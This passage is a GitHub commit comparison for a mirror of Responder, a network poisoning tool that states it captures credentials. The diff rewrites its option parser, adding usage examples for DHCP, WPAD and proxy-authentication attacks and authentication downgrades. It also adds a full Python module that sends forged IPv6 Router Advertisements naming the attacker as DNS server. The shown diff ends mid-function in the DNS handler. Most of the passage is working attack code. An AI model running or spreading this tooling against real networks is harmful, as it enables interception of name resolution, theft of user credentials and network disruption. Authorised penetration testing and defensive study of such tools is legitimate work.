mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-27 08:39:04 +00:00
Compare commits
6 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fb29fe25db | ||
|
|
f1649c136d | ||
|
|
9a2144a8a1 | ||
|
|
271b564bd8 | ||
|
|
83ecb7d343 | ||
|
|
2da22ce312 |
302
Responder.py
302
Responder.py
@@ -26,31 +26,281 @@ from utils import *
|
||||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
import optparse
|
||||
import textwrap
|
||||
|
||||
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
|
||||
class ResponderHelpFormatter(optparse.IndentedHelpFormatter):
|
||||
"""Custom formatter for better help output"""
|
||||
|
||||
def format_description(self, description):
|
||||
if description:
|
||||
return description + "\n"
|
||||
return ""
|
||||
|
||||
def format_epilog(self, epilog):
|
||||
if epilog:
|
||||
return "\n" + epilog + "\n"
|
||||
return ""
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
def create_parser():
|
||||
"""Create argument parser with organized option groups"""
|
||||
|
||||
usage = textwrap.dedent("""\
|
||||
python3 %prog -I eth0 -v""")
|
||||
|
||||
description = textwrap.dedent("""\
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Responder - LLMNR/NBT-NS/mDNS Poisoner and Rogue Authentication Servers
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Captures credentials by responding to broadcast/multicast name resolution,
|
||||
DHCP, DHCPv6 requests
|
||||
══════════════════════════════════════════════════════════════════════════════""")
|
||||
|
||||
epilog = textwrap.dedent("""\
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Examples:
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
Basic poisoning: python3 Responder.py -I eth0 -v
|
||||
|
||||
##Watch what's going on:
|
||||
Analyze mode (passive): python3 Responder.py -I eth0 -Av
|
||||
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||
##Working on old networks:
|
||||
WPAD with forced auth: python3 Responder.py -I eth0 -wFv
|
||||
|
||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
|
||||
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||
##Great module:
|
||||
Proxy auth: python3 Responder.py -I eth0 -Pv
|
||||
|
||||
##DHCPv6 + Proxy authentication:
|
||||
DHCPv6 attack: python3 Responder.py -I eth0 --dhcpv6 -vP
|
||||
|
||||
##DHCP -> WPAD injection -> Proxy authentication:
|
||||
DHCP + WPAD injection: python3 Responder.py -I eth0 -Pvd
|
||||
|
||||
##Poison requests to an arbitrary IP:
|
||||
Poison with external IP: python3 Responder.py -I eth0 -e 10.0.0.100
|
||||
|
||||
##Poison requests to an arbitrary IPv6 IP:
|
||||
Poison with external IPv6: python3 Responder.py -I eth0 -6 2800:ac:4000:8f9e:c5eb:2193:71:1d12
|
||||
══════════════════════════════════════════════════════════════════════════════
|
||||
For more info: https://github.com/lgandx/Responder/blob/master/README.md
|
||||
══════════════════════════════════════════════════════════════════════════════""")
|
||||
|
||||
parser = optparse.OptionParser(
|
||||
usage=usage,
|
||||
version=settings.__version__,
|
||||
prog="Responder.py",
|
||||
description=description,
|
||||
epilog=epilog,
|
||||
formatter=ResponderHelpFormatter()
|
||||
)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# REQUIRED OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
required = optparse.OptionGroup(parser,
|
||||
"Required Options",
|
||||
"These options must be specified")
|
||||
|
||||
required.add_option('-I', '--interface',
|
||||
action="store",
|
||||
dest="Interface",
|
||||
metavar="eth0",
|
||||
default=None,
|
||||
help="Network interface to use. Use 'ALL' for all interfaces.")
|
||||
|
||||
parser.add_option_group(required)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# POISONING OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
poisoning = optparse.OptionGroup(parser,
|
||||
"Poisoning Options",
|
||||
"Control how Responder poisons name resolution requests")
|
||||
|
||||
poisoning.add_option('-A', '--analyze',
|
||||
action="store_true",
|
||||
dest="Analyze",
|
||||
default=False,
|
||||
help="Analyze mode. See requests without poisoning. (passive)")
|
||||
|
||||
poisoning.add_option('-e', '--externalip',
|
||||
action="store",
|
||||
dest="ExternalIP",
|
||||
metavar="IP",
|
||||
default=None,
|
||||
help="Poison with a different IPv4 address than Responder's.")
|
||||
|
||||
poisoning.add_option('-6', '--externalip6',
|
||||
action="store",
|
||||
dest="ExternalIP6",
|
||||
metavar="IPv6",
|
||||
default=None,
|
||||
help="Poison with a different IPv6 address than Responder's.")
|
||||
|
||||
poisoning.add_option('--rdnss',
|
||||
action="store_true",
|
||||
dest="RDNSS_On_Off",
|
||||
default=False,
|
||||
help="Poison via Router Advertisements with RDNSS. Sets attacker as IPv6 DNS.")
|
||||
|
||||
poisoning.add_option('--dnssl',
|
||||
action="store",
|
||||
dest="DNSSL_Domain",
|
||||
metavar="DOMAIN",
|
||||
default=None,
|
||||
help="Poison via Router Advertisements with DNSSL. Injects DNS search suffix.")
|
||||
|
||||
poisoning.add_option('-t', '--ttl',
|
||||
action="store",
|
||||
dest="TTL",
|
||||
metavar="HEX",
|
||||
default=None,
|
||||
help="Set TTL for poisoned answers. Hex value (30s = 1e) or 'random'.")
|
||||
|
||||
poisoning.add_option('-N', '--AnswerName',
|
||||
action="store",
|
||||
dest="AnswerName",
|
||||
metavar="NAME",
|
||||
default=None,
|
||||
help="Canonical name in LLMNR answers. (for Kerberos relay over HTTP)")
|
||||
|
||||
parser.add_option_group(poisoning)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# DHCP OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
dhcp = optparse.OptionGroup(parser,
|
||||
"DHCP Options",
|
||||
"DHCP and DHCPv6 poisoning attacks")
|
||||
|
||||
dhcp.add_option('-d', '--DHCP',
|
||||
action="store_true",
|
||||
dest="DHCP_On_Off",
|
||||
default=False,
|
||||
help="Enable DHCPv4 poisoning. Injects WPAD in DHCP responses.")
|
||||
|
||||
dhcp.add_option('-D', '--DHCP-DNS',
|
||||
action="store_true",
|
||||
dest="DHCP_DNS",
|
||||
default=False,
|
||||
help="Inject DNS server (not WPAD) in DHCPv4 responses.")
|
||||
|
||||
dhcp.add_option('--dhcpv6',
|
||||
action="store_true",
|
||||
dest="DHCPv6_On_Off",
|
||||
default=False,
|
||||
help="Enable DHCPv6 poisoning. WARNING: May disrupt network.")
|
||||
|
||||
parser.add_option_group(dhcp)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# WPAD / PROXY OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
wpad = optparse.OptionGroup(parser,
|
||||
"WPAD / Proxy Options",
|
||||
"Web Proxy Auto-Discovery attacks")
|
||||
|
||||
wpad.add_option('-w', '--wpad',
|
||||
action="store_true",
|
||||
dest="WPAD_On_Off",
|
||||
default=False,
|
||||
help="Start WPAD rogue proxy server.")
|
||||
|
||||
wpad.add_option('-F', '--ForceWpadAuth',
|
||||
action="store_true",
|
||||
dest="Force_WPAD_Auth",
|
||||
default=False,
|
||||
help="Force NTLM/Basic auth on wpad.dat retrieval. (may show prompt)")
|
||||
|
||||
wpad.add_option('-P', '--ProxyAuth',
|
||||
action="store_true",
|
||||
dest="ProxyAuth_On_Off",
|
||||
default=False,
|
||||
help="Force proxy authentication. Highly effective. (can't use with -w)")
|
||||
|
||||
wpad.add_option('-u', '--upstream-proxy',
|
||||
action="store",
|
||||
dest="Upstream_Proxy",
|
||||
metavar="HOST:PORT",
|
||||
default=None,
|
||||
help="Upstream proxy for rogue WPAD proxy outgoing requests.")
|
||||
|
||||
parser.add_option_group(wpad)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# AUTHENTICATION OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
auth = optparse.OptionGroup(parser,
|
||||
"Authentication Options",
|
||||
"Control authentication methods and downgrades")
|
||||
|
||||
auth.add_option('-b', '--basic',
|
||||
action="store_true",
|
||||
dest="Basic",
|
||||
default=False,
|
||||
help="Return HTTP Basic auth instead of NTLM. (cleartext passwords)")
|
||||
|
||||
auth.add_option('--lm',
|
||||
action="store_true",
|
||||
dest="LM_On_Off",
|
||||
default=False,
|
||||
help="Force LM hashing downgrade. (for Windows XP/2003)")
|
||||
|
||||
auth.add_option('--disable-ess',
|
||||
action="store_true",
|
||||
dest="NOESS_On_Off",
|
||||
default=False,
|
||||
help="Disable Extended Session Security. (NTLMv1 downgrade)")
|
||||
|
||||
auth.add_option('-E', '--ErrorCode',
|
||||
action="store_true",
|
||||
dest="ErrorCode",
|
||||
default=False,
|
||||
help="Return STATUS_LOGON_FAILURE. (enables WebDAV auth capture)")
|
||||
|
||||
parser.add_option_group(auth)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# OUTPUT OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
output = optparse.OptionGroup(parser,
|
||||
"Output Options",
|
||||
"Control verbosity and logging")
|
||||
|
||||
output.add_option('-v', '--verbose',
|
||||
action="store_true",
|
||||
dest="Verbose",
|
||||
default=False,
|
||||
help="Increase verbosity. (recommended)")
|
||||
|
||||
output.add_option('-Q', '--quiet',
|
||||
action="store_true",
|
||||
dest="Quiet",
|
||||
default=False,
|
||||
help="Quiet mode. Minimal output from poisoners.")
|
||||
|
||||
parser.add_option_group(output)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# PLATFORM OPTIONS
|
||||
# -------------------------------------------------------------------------
|
||||
platform = optparse.OptionGroup(parser,
|
||||
"Platform Options",
|
||||
"OS-specific settings")
|
||||
|
||||
platform.add_option('-i', '--ip',
|
||||
action="store",
|
||||
dest="OURIP",
|
||||
metavar="IP",
|
||||
default=None,
|
||||
help="Local IP to use. (OSX only)")
|
||||
|
||||
parser.add_option_group(platform)
|
||||
|
||||
return parser
|
||||
|
||||
parser = create_parser()
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
@@ -342,7 +592,15 @@ def main():
|
||||
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
from servers.DHCPv6 import DHCPv6
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
|
||||
if settings.Config.RDNSS_On_Off or settings.Config.DNSSL_Domain:
|
||||
from poisoners.RDNSS import RDNSS
|
||||
threads.append(Thread(target=RDNSS, args=(
|
||||
settings.Config.Interface, # 1. interface
|
||||
settings.Config.RDNSS_On_Off, # 2. rdnss_enabled (bool)
|
||||
settings.Config.DNSSL_Domain # 3. dnssl_domain (str or None)
|
||||
)))
|
||||
|
||||
# Load MDNS, NBNS and LLMNR Poisoners
|
||||
if settings.Config.LLMNR_On_Off:
|
||||
|
||||
357
poisoners/RDNSS.py
Normal file
357
poisoners/RDNSS.py
Normal file
@@ -0,0 +1,357 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
"""
|
||||
RDNSS/DNSSL Poisoner - DNS Router Advertisement Options (RFC 8106)
|
||||
|
||||
Sends IPv6 Router Advertisements with:
|
||||
- RDNSS (Recursive DNS Server) option - advertises Responder as DNS server
|
||||
- DNSSL (DNS Search List) option - injects DNS search suffix
|
||||
|
||||
Both options are independent and can be used separately or together.
|
||||
|
||||
This causes IPv6-enabled clients to:
|
||||
- Use Responder's DNS server for name resolution (RDNSS)
|
||||
- Append search suffix to unqualified names (DNSSL)
|
||||
|
||||
Usage:
|
||||
python Responder.py -I eth0 --rdnss -v # RDNSS only
|
||||
python Responder.py -I eth0 --dnssl corp.local -v # DNSSL only
|
||||
python Responder.py -I eth0 --rdnss --dnssl corp.local -v # Both
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import random
|
||||
import time
|
||||
import signal
|
||||
from utils import *
|
||||
|
||||
# ICMPv6 Constants
|
||||
ICMPV6_ROUTER_ADVERTISEMENT = 134
|
||||
ICMPV6_HOP_LIMIT = 255
|
||||
|
||||
# DNS RA Option Types (RFC 8106)
|
||||
ND_OPT_RDNSS = 25 # Recursive DNS Server
|
||||
ND_OPT_DNSSL = 31 # DNS Search List
|
||||
|
||||
# IPv6 All-Nodes Multicast Address
|
||||
IPV6_ALL_NODES = "ff02::1"
|
||||
|
||||
# RA Timing (seconds)
|
||||
RA_INTERVAL_MIN = 30
|
||||
RA_INTERVAL_MAX = 120
|
||||
RA_LIFETIME = 1800 # 30 minutes
|
||||
|
||||
|
||||
class RDNSSOption:
|
||||
"""Recursive DNS Server Option (Type 25)"""
|
||||
|
||||
def __init__(self, dns_servers, lifetime=RA_LIFETIME):
|
||||
self.dns_servers = dns_servers if isinstance(dns_servers, list) else [dns_servers]
|
||||
self.lifetime = lifetime
|
||||
|
||||
def build(self):
|
||||
if not self.dns_servers:
|
||||
return b''
|
||||
|
||||
addresses = b''
|
||||
for server in self.dns_servers:
|
||||
addresses += socket.inet_pton(socket.AF_INET6, server)
|
||||
|
||||
# Length in units of 8 octets: 1 (header) + 2 * num_addresses
|
||||
length = 1 + (2 * len(self.dns_servers))
|
||||
|
||||
header = struct.pack(
|
||||
'!BBHI',
|
||||
ND_OPT_RDNSS,
|
||||
length,
|
||||
0, # Reserved
|
||||
self.lifetime
|
||||
)
|
||||
|
||||
return header + addresses
|
||||
|
||||
|
||||
class DNSSLOption:
|
||||
"""DNS Search List Option (Type 31)"""
|
||||
|
||||
def __init__(self, domains, lifetime=RA_LIFETIME):
|
||||
self.domains = domains if isinstance(domains, list) else [domains]
|
||||
self.lifetime = lifetime
|
||||
|
||||
@staticmethod
|
||||
def encode_domain(domain):
|
||||
"""Encode domain name in DNS wire format (RFC 1035)."""
|
||||
encoded = b''
|
||||
for label in domain.rstrip('.').split('.'):
|
||||
label_bytes = label.encode('ascii')
|
||||
encoded += bytes([len(label_bytes)]) + label_bytes
|
||||
encoded += b'\x00' # Root label
|
||||
return encoded
|
||||
|
||||
def build(self):
|
||||
if not self.domains:
|
||||
return b''
|
||||
|
||||
domain_data = b''
|
||||
for domain in self.domains:
|
||||
domain_data += self.encode_domain(domain)
|
||||
|
||||
# Pad to 8-octet boundary
|
||||
header_size = 8
|
||||
total_size = header_size + len(domain_data)
|
||||
padding_needed = (8 - (total_size % 8)) % 8
|
||||
domain_data += b'\x00' * padding_needed
|
||||
|
||||
length = (header_size + len(domain_data)) // 8
|
||||
|
||||
header = struct.pack(
|
||||
'!BBHI',
|
||||
ND_OPT_DNSSL,
|
||||
length,
|
||||
0, # Reserved
|
||||
self.lifetime
|
||||
)
|
||||
|
||||
return header + domain_data
|
||||
|
||||
|
||||
class RouterAdvertisement:
|
||||
"""ICMPv6 Router Advertisement Message"""
|
||||
|
||||
def __init__(self, rdnss=None, dnssl=None, managed=False, other=False, router_lifetime=0):
|
||||
self.cur_hop_limit = 64
|
||||
self.managed_flag = managed
|
||||
self.other_flag = other
|
||||
self.router_lifetime = router_lifetime # 0 = not a default router
|
||||
self.reachable_time = 0
|
||||
self.retrans_timer = 0
|
||||
self.rdnss = rdnss
|
||||
self.dnssl = dnssl
|
||||
|
||||
def build(self):
|
||||
flags = 0
|
||||
if self.managed_flag:
|
||||
flags |= 0x80
|
||||
if self.other_flag:
|
||||
flags |= 0x40
|
||||
|
||||
ra_header = struct.pack(
|
||||
'!BBHBBHII',
|
||||
ICMPV6_ROUTER_ADVERTISEMENT,
|
||||
0, # Code
|
||||
0, # Checksum (placeholder)
|
||||
self.cur_hop_limit,
|
||||
flags,
|
||||
self.router_lifetime,
|
||||
self.reachable_time,
|
||||
self.retrans_timer
|
||||
)
|
||||
|
||||
options = b''
|
||||
if self.rdnss:
|
||||
options += self.rdnss.build()
|
||||
if self.dnssl:
|
||||
options += self.dnssl.build()
|
||||
|
||||
return ra_header + options
|
||||
|
||||
|
||||
def compute_icmpv6_checksum(source, dest, icmpv6_packet):
|
||||
"""Compute ICMPv6 checksum including pseudo-header."""
|
||||
src_addr = socket.inet_pton(socket.AF_INET6, source)
|
||||
dst_addr = socket.inet_pton(socket.AF_INET6, dest)
|
||||
|
||||
pseudo_header = struct.pack(
|
||||
'!16s16sI3xB',
|
||||
src_addr,
|
||||
dst_addr,
|
||||
len(icmpv6_packet),
|
||||
58 # ICMPv6
|
||||
)
|
||||
|
||||
data = pseudo_header + icmpv6_packet
|
||||
if len(data) % 2:
|
||||
data += b'\x00'
|
||||
|
||||
checksum = 0
|
||||
for i in range(0, len(data), 2):
|
||||
word = (data[i] << 8) + data[i + 1]
|
||||
checksum += word
|
||||
|
||||
while checksum >> 16:
|
||||
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||||
|
||||
return ~checksum & 0xFFFF
|
||||
|
||||
|
||||
def get_link_local_address(interface):
|
||||
"""Get link-local IPv6 address for interface (required for RA source)."""
|
||||
try:
|
||||
with open('/proc/net/if_inet6', 'r') as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 6 and parts[5] == interface:
|
||||
addr = parts[0]
|
||||
formatted = ':'.join(addr[i:i+4] for i in range(0, 32, 4))
|
||||
if formatted.lower().startswith('fe80'):
|
||||
return formatted
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# Fallback: try netifaces
|
||||
try:
|
||||
import netifaces
|
||||
addrs = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = addr.get('addr', '').split('%')[0]
|
||||
if ipv6.lower().startswith('fe80'):
|
||||
return ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def get_dns_server_address(interface):
|
||||
"""Get IPv6 address to advertise as DNS server. Uses Bind_To6 from settings."""
|
||||
# Use Bind_To6 from settings (set via -6 option or config)
|
||||
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
|
||||
return settings.Config.Bind_To6
|
||||
|
||||
# Fallback: auto-detect from interface
|
||||
try:
|
||||
import netifaces
|
||||
addrs = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
global_ipv6 = None
|
||||
linklocal_ipv6 = None
|
||||
|
||||
for addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = addr.get('addr', '').split('%')[0]
|
||||
if not ipv6 or ipv6 == '::1':
|
||||
continue
|
||||
|
||||
if ipv6.lower().startswith('fe80'):
|
||||
if not linklocal_ipv6:
|
||||
linklocal_ipv6 = ipv6
|
||||
else:
|
||||
if not global_ipv6:
|
||||
global_ipv6 = ipv6
|
||||
|
||||
# Prefer global, fall back to link-local
|
||||
return global_ipv6 or linklocal_ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
# Last resort: link-local
|
||||
return get_link_local_address(interface)
|
||||
|
||||
|
||||
def send_ra(interface, source_ip, dns_server=None, dnssl_domains=None):
|
||||
"""Send a single Router Advertisement."""
|
||||
try:
|
||||
# Build RDNSS option if DNS server specified
|
||||
rdnss = None
|
||||
if dns_server:
|
||||
rdnss = RDNSSOption(dns_servers=[dns_server], lifetime=RA_LIFETIME)
|
||||
|
||||
# Build DNSSL option if domains specified
|
||||
dnssl = None
|
||||
if dnssl_domains:
|
||||
dnssl = DNSSLOption(domains=dnssl_domains, lifetime=RA_LIFETIME)
|
||||
|
||||
# Build RA packet
|
||||
ra = RouterAdvertisement(rdnss=rdnss, dnssl=dnssl)
|
||||
|
||||
# Create raw socket
|
||||
sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface.encode())
|
||||
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, ICMPV6_HOP_LIMIT)
|
||||
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, ICMPV6_HOP_LIMIT)
|
||||
|
||||
# Build packet with checksum
|
||||
packet = bytearray(ra.build())
|
||||
checksum = compute_icmpv6_checksum(source_ip, IPV6_ALL_NODES, bytes(packet))
|
||||
struct.pack_into('!H', packet, 2, checksum)
|
||||
|
||||
# Send to all-nodes multicast
|
||||
sock.sendto(bytes(packet), (IPV6_ALL_NODES, 0, 0, socket.if_nametoindex(interface)))
|
||||
sock.close()
|
||||
|
||||
return True
|
||||
|
||||
except PermissionError:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Root privileges required for raw sockets")
|
||||
return False
|
||||
except OSError as e:
|
||||
if settings.Config.Verbose:
|
||||
print(color("[!] ", 1, 1) + "RDNSS error: %s" % str(e))
|
||||
return False
|
||||
|
||||
|
||||
def RDNSS(interface, rdnss_enabled, dnssl_domain):
|
||||
"""
|
||||
RDNSS/DNSSL Poisoner - Main entry point
|
||||
|
||||
Sends periodic Router Advertisements with DNS options:
|
||||
- RDNSS: Advertises Responder as DNS server (--rdnss)
|
||||
- DNSSL: Injects DNS search suffix (--dnssl)
|
||||
|
||||
Both options are independent and can be used separately or together.
|
||||
|
||||
Args:
|
||||
interface: Network interface to send RAs on
|
||||
rdnss_enabled: If True, include RDNSS option (DNS server)
|
||||
dnssl_domain: If set, include DNSSL option (search suffix)
|
||||
"""
|
||||
# Get source address (must be link-local for RAs per RFC 4861)
|
||||
source_ip = get_link_local_address(interface)
|
||||
if not source_ip:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Could not get link-local address for %s" % interface)
|
||||
return
|
||||
|
||||
# Get DNS server address if RDNSS is enabled
|
||||
dns_server = None
|
||||
if rdnss_enabled:
|
||||
dns_server = get_dns_server_address(interface)
|
||||
if not dns_server:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Could not determine IPv6 address for DNS server")
|
||||
return
|
||||
|
||||
# Format DNSSL domain
|
||||
domains = None
|
||||
if dnssl_domain:
|
||||
domains = [dnssl_domain] if isinstance(dnssl_domain, str) else dnssl_domain
|
||||
|
||||
# Startup messages
|
||||
if dns_server:
|
||||
print(color("[*] ", 2, 1) + "RDNSS advertising DNS server: %s" % dns_server)
|
||||
if domains:
|
||||
print(color("[*] ", 2, 1) + "DNSSL advertising search domain: %s" % ', '.join(domains))
|
||||
print(color("[*] ", 2, 1) + "Sending RA every %d-%d seconds" % (RA_INTERVAL_MIN, RA_INTERVAL_MAX))
|
||||
print(color("[*] ", 2, 1) + "Avoid self poisoning with: \"sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP\"")
|
||||
|
||||
# Send initial RA
|
||||
send_ra(interface, source_ip, dns_server, domains)
|
||||
|
||||
# Main loop - send RAs at random intervals
|
||||
while True:
|
||||
interval = random.randint(RA_INTERVAL_MIN, RA_INTERVAL_MAX)
|
||||
time.sleep(interval)
|
||||
send_ra(interface, source_ip, dns_server, domains)
|
||||
@@ -531,102 +531,25 @@ class DNS(BaseRequestHandler):
|
||||
"""
|
||||
Get IPv6 address for AAAA responses
|
||||
|
||||
Returns a valid native IPv6 address.
|
||||
Returns the IPv6 address Responder is configured to use:
|
||||
1. ExternalIP6 if set (-6 command line option)
|
||||
2. Bind_To6 (already determined by FindLocalIP6 at startup)
|
||||
|
||||
Priority order:
|
||||
1. ExternalIP6 (-6 command line option)
|
||||
2. Bind_To_IPv6 from config file
|
||||
3. Global IPv6 on interface (auto-detected)
|
||||
4. Link-local fe80:: on interface (fallback - always available!)
|
||||
|
||||
Link-local addresses work for Responder because:
|
||||
- Responder operates on the local network segment
|
||||
- Clients on the same segment can reach fe80:: addresses
|
||||
- fe80:: is always available when IPv6 is enabled
|
||||
|
||||
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x).
|
||||
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x) or localhost.
|
||||
"""
|
||||
# Priority 1: Use ExternalIP6 if set (-6 command line option)
|
||||
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
|
||||
ipv6 = settings.Config.ExternalIP6
|
||||
# Validate it's not an IPv4-mapped address
|
||||
if not ipv6.startswith('::ffff:'):
|
||||
if ipv6 and ipv6 not in ('::1', '') and not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# Priority 2: Use Bind_To_IPv6 from config
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
ipv6 = settings.Config.Bind_To_IPv6
|
||||
if not ipv6.startswith('::ffff:'):
|
||||
# Priority 2: Use Bind_To6 (set by FindLocalIP6 at startup)
|
||||
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
|
||||
ipv6 = settings.Config.Bind_To6
|
||||
if ipv6 and ipv6 not in ('::1', '::') and not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# Priority 3 & 4: Try to auto-detect IPv6 on the interface
|
||||
# First pass: look for global IPv6
|
||||
# Second pass: accept link-local fe80::
|
||||
try:
|
||||
import netifaces
|
||||
|
||||
target_iface = None
|
||||
|
||||
# Find interface from IPv4 address
|
||||
ipv4 = settings.Config.Bind_To
|
||||
|
||||
for iface in netifaces.interfaces():
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
|
||||
# Check if this interface has our IPv4
|
||||
if netifaces.AF_INET in addrs:
|
||||
for addr in addrs[netifaces.AF_INET]:
|
||||
if addr.get('addr') == ipv4:
|
||||
target_iface = iface
|
||||
break
|
||||
if target_iface:
|
||||
break
|
||||
except:
|
||||
continue
|
||||
|
||||
# If no interface found via IPv4, use configured interface
|
||||
if not target_iface and hasattr(settings.Config, 'Interface') and settings.Config.Interface:
|
||||
target_iface = settings.Config.Interface
|
||||
|
||||
if target_iface:
